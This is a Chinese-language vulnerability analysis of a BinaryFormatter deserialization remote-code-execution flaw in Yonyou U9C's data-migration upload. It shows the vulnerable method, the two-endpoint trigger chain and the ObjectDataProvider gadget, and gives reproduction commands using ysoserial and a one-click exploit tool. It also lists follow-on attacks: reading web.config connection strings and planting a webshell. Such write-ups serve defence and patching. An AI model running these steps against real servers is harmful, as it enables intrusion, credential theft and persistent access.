本文档由 AI 辅助归档,内容整理自先知社区文章与 360 漏洞研究院通告。

漏洞概述

项目内容
漏洞编号LDYVUL-2026-00173733
影响组件用友 U9C(U9 Cloud)门户侧「数据迁移」功能
漏洞类型.NET BinaryFormatter 反序列化 → RCE(CWE-502)
公开时间2026-08-11
CVSS 3.17.2(High)AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
前置条件需「数据迁移」权限的管理员会话(ea),非未授权
在野利用未发现
官方补丁https://security.yonyou.com/#/noticeInfo?id=793

影响版本

  • U9C 企业版
  • U9C 标准版
  • U9V6.6 企业版
  • U9V6.6 标准版

漏洞分析

U9C 门户侧 UFSoft.UBF.MVC.dll 中的 IoPackage.DecompressPackage(byte[]) 方法将外部上传的 .bin 文件解压后直接交给 BinaryFormatter.Deserialize(),且未设置 SerializationBinder 白名单,攻击者可通过 gadget 对象图实现 RCE。

C#csharp
static IoPackage DecompressPackage(byte[] bytes)
{
    BinaryFormatter formatter = new BinaryFormatter();  // 未设置 Binder
    byte[] decompressed = Decompress(bytes);            // SharpZipLib ZIP 解包
    MemoryStream stream = new MemoryStream(decompressed);
    return (IoPackage)formatter.Deserialize(stream);    // 无限制反序列化
}

BinaryFormatter 按数据中的「类型全名」加载并实例化类型,SerializationBinder 是唯一可拦截「类型名 → Type」的钩子;未设置即等价于允许加载任意类型。

触发链

text
POST /mvc/DataTransfer/Upload        (multipart evil.bin,文件名 .bin)
  → 存 {FileTempPath}\PackageImport\{guid}.bin,返回 PackageUploadId
POST /mvc/DataTransfer/ImportPackage (PackageUploadId + DataManagerProjectId)
  → 读 .bin → IoPackage.DecompressPackage(bytes)
      → Decompress(SharpZipLib ZIP 解包)→ BinaryFormatter.Deserialize(无 Binder)
          → 加载 gadget 类型 → 反序列化回调 → Process.Start  ★ RCE

Gadget 原理

利用 WPF 的 ObjectDataProvider(ObjectType=System.Diagnostics.Process、MethodName="Start"、MethodParameters=["cmd","/c <命令>"]),反序列化求值时反射调用 Process.Start。

数据流

text
攻击者 .bin = ZIP(单 entry) 包裹 BinaryFormatter 流
BinaryFormatter 流 = gadget 对象图(TextFormattingRunProperties → ObjectDataProvider)

复现步骤

工具:ysoserial.net、MakeBin.exe、U9Exp.exe(见原文附录)

  1. 生成恶意载荷(ysoserial):
bash
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "cmd /c whoami > C:\temp\pwned.txt" -o raw > payload.raw
  1. 打包成 .bin(ZIP 单 entry):
text
MakeBin.exe payload.raw evil.bin
  1. 以 ea 管理员登录后上传并触发(一键):
text
Exp.exe --cmd "cmd /c whoami > C:\temp\pwned.txt" --url http://<target>/U9C --user EA --pwd <密码>
  1. 验证:目标机 C:\temp\pwned.txt 内容为 iis apppool\u9 apppool clr4 即 RCE 成功。

攻击场景(原文已实测)

  • 命令执行:whoami 回显 IIS 应用池身份
  • 敏感数据窃取:type web.config 泄露多组数据库明文连接串
  • 持久化:web 根可写,落 WebShell(cmd.aspx)建立 HTTP 命令通道

相关笔记

WARNING

本文仅供安全研究与学习参考,涉及技术细节请遵守当地法律法规,勿用于未授权测试。